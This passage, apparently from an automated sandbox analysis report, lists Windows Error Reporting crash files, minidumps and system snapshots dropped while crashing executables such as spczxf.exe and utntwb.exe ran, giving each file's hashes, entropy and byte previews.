Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.0.9.1.6.0.2.6.2.6.5.8.0.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.0.9.1.6.0.3.2.8.2.8.3.4.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.d.5.4.6.2.2.c.-.2.3.7.f.-.4.0.2.d.-.8.2.f.e.-.0.0.f.a.4.d.7.c.7.8.3.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.4.d.a.c.6.c.-.6.9.5.4.-.4.0.b.a.-.9.3.4.6.-.b.c.8.c.e.0.0.3.e.c.0.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.o.h.v.r.x.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.F.a.y.o...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.6.8.-.0.0.0.1.-.0.0.1.4.-.9.9.2.4.-.f.7.0.9.f.2.8.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.7.f.9.2.6.b.4.0.7.c.9.e.0.0.4.2.7.1.3.c.a.8.6.1.0.4.e.f.0.6.a.0.0.0.0.0.0.0.0.!.0.0.0.0.2.9.0.f.c.3.e.5.0.c.f.1.3.a.1.5.9.5.f.1.b.a.3.3.5.7.2.8.5.1.5.3.a.c.9.8.8.3.4.d.!.o.h.v.r.x.t...e.x.e.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_spczxf.exe_e579793d450d0c282ac383c29839632381b814_0d30f733_8509e221-ac0f-4a90-ad7f-f26b5a2b819d\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6764270165948307
Encrypted:	false
SSDEEP:	384:P4l4HirGagolNLNzYvEtM0m8iq6rzuiFiY4lO8E:PFHirGanxmbrzuiFiY4lO8
MD5:	49285B73747101871617F9CBF88A976A
SHA1:	8EA9A50C8ACFAF712479621DF3D1A13C376153F0
SHA-256:	4069DE5680D912DF77C608781C3B302FF9343B7F7D82D695AC1351A40145D65A
SHA-512:	203D95CFF4F88CFBE575269178A45B80D35237CAA720AB79F5624A20EAC3D3F64FEA6C8493EF5C500872C209A3FFF112435F572E2D5885720A5036A22BD585F6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.0.9.1.5.5.2.3.2.0.2.8.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.0.9.1.5.5.4.0.7.0.2.9.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.5.0.9.e.2.2.1.-.a.c.0.f.-.4.a.9.0.-.a.d.7.f.-.f.2.6.b.5.a.2.b.8.1.9.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.2.8.2.e.b.d.e.-.e.9.3.4.-.4.2.1.9.-.9.f.1.4.-.0.e.c.e.5.c.7.b.b.6.8.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.s.p.c.z.x.f...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.a.y.a.r.e.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.5.c.-.0.0.0.1.-.0.0.1.4.-.f.a.f.3.-.d.3.e.6.f.1.8.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.5.b.1.9.4.8.2.8.6.1.4.0.7.f.4.d.2.1.e.3.d.0.9.d.c.c.7.1.e.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.0.2.6.4.2.2.e.8.4.b.f.4.4.5.e.2.d.1.4.1.5.2.9.e.2.b.8.0.8.1.8.7.a.3.0.d.9.f.6.!.s.p.c.z.x.f...e.x.e.....T.a.r.g.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_utntwb.exe_35733fcd6311bab2ecb571498494acca9c46d7_768da9df_56c226de-60c0-45e9-9413-a7b3279b6080\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6600779069590426
Encrypted:	false
SSDEEP:	384:pzxeUnUFa4olNLNzYvEtM0m8iq6XzuiF9Y4lO8i:psUnUFaPxmbXzuiF9Y4lO8
MD5:	A2DBC864FE5D84A01687FF6AFAFF7CD8
SHA1:	159D445855C443F49D458976DCE03FE60147E25E
SHA-256:	8DA9DB0330D12BD0B025C6EFCE3C0AAC62138A9BD371C68E1FD80B69E5F44F89
SHA-512:	5CD48E44AC9CBCF2CC8E39CDFA00D5CB777BF77C1134307F489D3413C94D5B22B9B0D9514E6E1EEE1D9C0309871D55F49C01B8E1C168529F04CBE8DDFBEB1F8B
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.0.9.1.6.2.1.9.7.5.6.0.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.0.9.1.6.2.4.1.1.6.2.4.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.6.c.2.2.6.d.e.-.6.0.c.0.-.4.5.e.9.-.9.4.1.3.-.a.7.b.3.2.7.9.b.6.0.8.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.c.4.a.c.d.8.0.-.1.d.c.8.-.4.5.7.c.-.9.5.1.f.-.d.9.6.1.9.5.7.6.6.2.9.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.u.t.n.t.w.b...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.a.y.a.r.e.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.9.c.-.0.0.0.1.-.0.0.1.4.-.b.3.e.2.-.a.e.1.1.f.2.8.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.5.b.1.9.4.8.2.8.6.1.4.0.7.f.4.d.2.1.e.3.d.0.9.d.c.c.7.1.e.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.0.2.1.c.7.3.3.e.5.4.4.8.4.3.6.b.3.8.4.b.f.0.d.3.a.0.b.a.8.1.f.4.d.0.d.9.3.f.9.a.!.u.t.n.t.w.b...e.x.e.....T.a.r.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A76.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Mar 28 09:25:29 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	599955
Entropy (8bit):	3.667110835993566
Encrypted:	false
SSDEEP:	3072:dyugwj4hbQZbicSvJl5tFQO00vEEMjTNzFYXi1CCqrTyBmr6vUPk5yzUb6cTr5A5:cbbEZuvjFQO00m1qr6Hcfl63Q3BofE
MD5:	5AAE0F73D7DCB986CA97B19B3C1AE613
SHA1:	5B24B46CAD7C79BC7BACD91DC3CE662FAE6249C6
SHA-256:	713342B0368EFB2900D4FB3BFC973C8B643EEF229A5886AB3DA7FFB130192AE2
SHA-512:	0FC5CDD7CC7088266528FB63BEDE39E9FE9D83DD4BBC103D3AAB0707F3D7EF877F786B879984498521B447D9C6B750418CA4F144E427B732838BC7759A1A4A1B
Malicious:	false
Preview:	MDMP..a..... ........7.f............t...........\|...........$....".......:..4"......D...............l.......8...........T............/..............4\.......... ^..............................................................................eJ.......^......Lw......................T............7.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C5C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8982
Entropy (8bit):	3.718457414554005
Encrypted:	false
SSDEEP:	192:R6l7wVeJPxg6YN3raugmfZTAprw89bi9SfiFWm:R6lXJJg6Ytraugmf9IiIfid
MD5:	8CF4BDC269611ACD6B2993A2C6F6116A
SHA1:	28722FD90DFA6F1ABE91C9BD3D36DF3CFF976DFB
SHA-256:	BCA4200018DD90BA56382CC8934232E05500106A52378D13D86D90D7CC45AC08
SHA-512:	8D95D6BF4506531AB65BBB6FC25FEBA84C6639BE64C44BCF9AB9176636F65DE0D50AA30849F8A5260644196F87485929EC366D3B117DE9C54290C95F9FE8FBB9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.3.2.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C9B.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	4.609874656447592
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I9mOSWpW8VYrYm8M4J5BE6Fbiyq8vsE+64i+ixd:uIjfqI7Zw7VvJYpWR+mXxd
MD5:	631C5CB85D048F90356888FDB675F963
SHA1:	2E7DA5464EA5A853B0726750DCD3BF9A90C027A0
SHA-256:	8BB4341B8128BCB02F19D608D7D8169A76D8531714FC53C35FDE1E11F159F544
SHA-512:	88666460FC196180B6150F799A1FA19639B60262E9E1E2030B269E30BA91C5F2B0395A936571C246AD34C214D879A0B313BA8B75840C02B4ABCA63711D13CB1A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="254908" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CB8.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77598
Entropy (8bit):	3.0274312399529113
Encrypted:	false
SSDEEP:	768:80m9w/KuCWMId/hv4AxchKIV/ymFyGY2wib905n8YRXMs:8n9qKuIYhv1xchKIV/ymFFbwi50588XH
MD5:	E454F80A9A3F31B0FC7C6D768FACCF4F
SHA1:	6AD10531D616929B7D2F5108CA6DDE66949CA30B
SHA-256:	32DC0106B3C59A7AB17F51C1B6FA89B56BF379DE44A149606D5877944301F46E
SHA-512:	2CA97912DA9CEDE7EA7D6D37593053868B461F36972161ABF8A57A4B6B979B4E97E2ABCB51C7B01D9DD7FB65B14BC70EAECA4A8CD86B18619372241495D571B7
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D17.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.683239110738684
Encrypted:	false
SSDEEP:	96:TiZYW5gddLaWQYcYiWaHVYEZ7dtBiuEVKS7cwABGkaPb5uYoMcNTVIE03:2ZD5hvbzhTaPb5udMcNTqE03
MD5:	DBB59ADCCB193749358590C81A61A3C2
SHA1:	0A3290284BE63A562219D8223AFFE7478E7CF0DD
SHA-256:	E47E106C75DFD27FFDFA795C8A914B101763FE32F73E2439D1FD4C223980E68B
SHA-512:	F4D3F4ED701853880854C2EA5F5CD9DE741EE3FF8487936DF69CAD6588526BD7DB91183D30E6623F4FBCB91EF95F6993F7F661B95B8D3A958EB61385500FA0A2
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A1F.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Thu Mar 28 09:26:42 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	550148
Entropy (8bit):	3.5427165126968827
Encrypted:	false
SSDEEP:	6144:yMXcnM3Y20rC+yE33Q1/6xd0CrcUXbrsnuRIf5TqT:HcMN+yEHQAXbr2TqT
MD5:	26FCAEDD3086B495004CB1A1FDC8B11B
SHA1:	F2D72F78569A177B5E685A80D9B4C541CC5C23EA
SHA-256:	34288A2A21052242AB6CDD7EC317124F90CCC36B27C5E7A673DC56DD9C069F04
SHA-512:	ABD5483F998F22FCA07E556F625D8A61C6EA3E7FC467A57A5768F738F300AABDF23C385DBE6C35F93F3892E5FE9919435CFD9D3D807A4375D2776B8AD9E1AC79
Malicious:	false
Preview:	MDMP..a..... ........7.f............D...............d.......$...t!.......:...!......d}..6...........l.......8...........T............/...5...........[...........]..............................................................................eJ......4^......Lw......................T.......h....7.f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4BE5.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9008
Entropy (8bit):	3.7148368678006
Encrypted:	false
SSDEEP:	192:R6l7wVeJIHpLn6YrT6HgmfaqDprG89btvEf0Zvm:R6lXJGpL6Yv6HgmfaqRtsf1
MD5:	44EDA70ECFCA3418368AB4AEFD1BA96F
SHA1:	009512D904F15A864A407C03B210E6C2D6806F9F
SHA-256:	9AC10A82E460401018ABEF7D8227B8308025CDC322CDD48BF382357D7A038EF4
SHA-512:	E617E4D506CA8FC86DFB72CCB539D8BD881B204EEF64AF2179939ADE45F40D3EBA75317505A9C884E9E182642DA666E944B0F706B8949FC4F5DB07306CD64D3B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C34.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.49425120972686
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg771I9mOSWpW8VYzYm8M4JNAFQIyq85ZUi2FJOlgd:uIjfVI7Zw7VfJKbi2F4lgd
MD5:	A78E16BEFBD7E987E6938358B71A2660
SHA1:	4D37BE7F0D31161343C1452609EAB350820ADDF4
SHA-256:	6E308FE73BA79788D911E5C76B579C69BDF69D6B33DDBE538B08BF7C29A307F0
SHA-512:	7CD2E969FB0932E61C0F1DB760AC5399F703FD2FF7E18A27E65EC7F1718E78FAACAEEF84BB7ADD797131AC77D8FDEA1298E8813BC6A71B76BCB4C5DCF4D843D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="254909" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C55.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	78742
Entropy (8bit):	3.023785605982372
Encrypted:	false
SSDEEP:	1536:ikPvsH0jvujZMl8LuUUXFJo3ai+z+8T+yT+Uva+G+Zy:ikPvsH0jvujZMl8LuUUXFJiai+z+8T+9
MD5:	24020C0F50AB0E8B88669E54039044C1
SHA1:	9D647C0DA3D3E7C632679862BEF06AF888F89DC5
SHA-256:	A7267F4CB8B5ECDBA7C3E4FE51441FA4E2C42186F4F4665CA74504208C765838
SHA-512:	5046A2C2F3E68ED5C2A9B4C9FB07C85A94E346F9D30A7EF0C5AE3B6E47F95D162877C2ED93BF5D3B7796893AF5301759C89009157CFD0C68F5165AC0BD4B0924
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C95.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6845604162469114
Encrypted:	false
SSDEEP:	96:TiZYWGzTfTOYcYvWjIHmYEZVNtHitMZbZGw2+J1WVabbEMPLOIH03:2ZD77fgtVabbEMPLZH03
MD5:	191FEF4A87C90CB2BE5DE710BA1949CD
SHA1:	450ABB59D2DAAFF33056E91A6DB6F1E9EF0A607B
SHA-256:	396CB215B36A16B40F590AD084EA9B5171D9F221CDE0669103638D0923419722
SHA-512:	C77E783574D07807AB676DE535799AAF08572A5AD7EBA1CC1590841746BBCF613FDBA4DF71833BEB5DE66DE58E09B799D4FA7A6893656D5438BE36F2D433DE7D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER696F.tmp.dmp

Download File

